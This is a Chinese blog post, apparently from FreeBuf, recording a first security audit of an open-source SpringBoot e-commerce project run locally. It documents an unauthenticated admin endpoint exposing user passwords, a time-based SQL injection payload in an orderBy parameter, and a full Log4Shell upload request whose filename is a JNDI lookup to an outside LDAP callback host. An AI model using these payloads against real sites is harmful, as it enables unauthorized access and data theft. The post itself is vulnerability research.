小L不会挖洞
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

迷你天猫商城是一个基于SpringBoot框架的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,支付,确认收货,评价等一系列操作。 作为模拟天猫商城系统的核心组成部分之一,采用Springboot框架的天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。
部署
环境:
jdk1.8
mysql5.7
(第一次审计java项目,还在学习中)
项目使用IntelliJ IDEA开发,请使用IntelliJ IDEA的版本控制检出功能,https://gitee.com/zwp1341710922/e-commerce-management-system.git,需要先建立数据库tmalldemodb,然后导入sql文件。
等待依赖安装完毕后,运行项目。
访问地址:http://localhost:8082/tmall/admin/login(账户名和密码在admin表里)
(登录如果报错的话需要调整一下mysql的配置,临时禁用ONLY_FULL_GROUP_BY
模式)
SET GLOBAL sql_mode = (SELECT REPLACE(@@sql_mode, 'ONLY_FULL_GROUP_BY', ''));
然后正常登录后台
部署完成
-------------------------------------------------------分割线------------------------------------------------
开始审计
未授权*1
因为项目采用了mybitis框架开发,我就直接搜索order by,like关键字,这种地方可能没有采用预编译。
来到com/xq/tmall/controller/admin/UserController.java文件下。
直接拼接路径/tmall/admin/user会提示未登录,跳转到登录界面
跟上完整参数/tmall/admin/user/1/10,神奇的返回了数据
admin/user/{index}/{count}
包含用户密码,未授权一枚~
看看为什么这个地方可以直接访问
其他方法都使用了以下鉴权
logger.info("检查管理员权限");
Object adminId = checkAdmin(session);
再看目标方法,没有该鉴权部分???不知道开发者怎么想的
sql注入*1
不要忘记我们原本是要找sql注入的漏洞
http://localhost:8082/tmall/admin/user/1/10?orderBy=1
数据库执行的是
SELECT user_id,user_name,user_nickname,user_password,user_realname,user_gender,user_birthday,user_profile_picture_src,user_address,user_homeplace FROM user ORDER BY 1 desc LIMIT 10,10 |
当我输入/tmall/admin/user/1/10?orderBy=IF(1=1,+sleep(1),+1)--+时,延迟了近21秒。sleep(3)延迟了60多秒。。。。。。
让我们来到dao层看看代码
UserMapper.java文件声明了数据操作方法(如select
、insertOne
),定义方法签名和参数结构。
UserMapper.xml
通过<select>
、<insert>
等标签编写具体SQL,通过namespace
绑定到接口,是具体的实现。
<mapper namespace="com.xq.tmall.dao.UserMapper">
绑定XML到指定Mapper接口(com.xq.tmall.dao.UserMapper
)。
可以看到使用的是${},存在sql注入
先看看框架漏洞吧
-----------------------------------------------------------------------------------------------------------------------
框架漏洞
我们来一个个看
log4j
因为使用了2.10.0版本的log4j,可能存在CVE-2021-44228,CVE-2021-45046漏洞
接下来去代码里搜索 logger. 寻找可能触发的地方
上传图片处调用了
logger.info("获取图片原始文件名:{}", originalFileName);
此处存在漏洞,并且无需登录即可触发。
POST /tmall/user/uploadUserHeadImage HTTP/1.1
Host: localhost:8082
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------171182472826653739854099729287
Sec-GPC: 1
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost:8082
Referer: http://localhost:8082/tmall/userDetails
DNT: 1
X-Requested-With: XMLHttpRequest
Content-Length: 39954
-----------------------------171182472826653739854099729287
Content-Disposition: form-data; name="file"; filename="${jndi:ldap://aaqcbsawpd.zaza.eu.org}"
Content-Type: image/jpeg
123
FastJason
全文查找JSON.parse()
和JSON.parseObject()
这两个
就先写到这吧。。。不知道为什么maven下载的依赖和pom文件里的依赖版本对不上
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
